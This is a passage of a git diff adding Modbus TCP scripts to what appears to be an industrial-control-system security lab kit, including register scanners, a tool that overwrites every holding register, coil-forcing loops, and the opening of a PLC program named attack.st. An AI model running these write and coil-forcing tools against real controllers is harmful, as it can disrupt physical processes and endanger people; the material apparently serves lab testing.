exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + 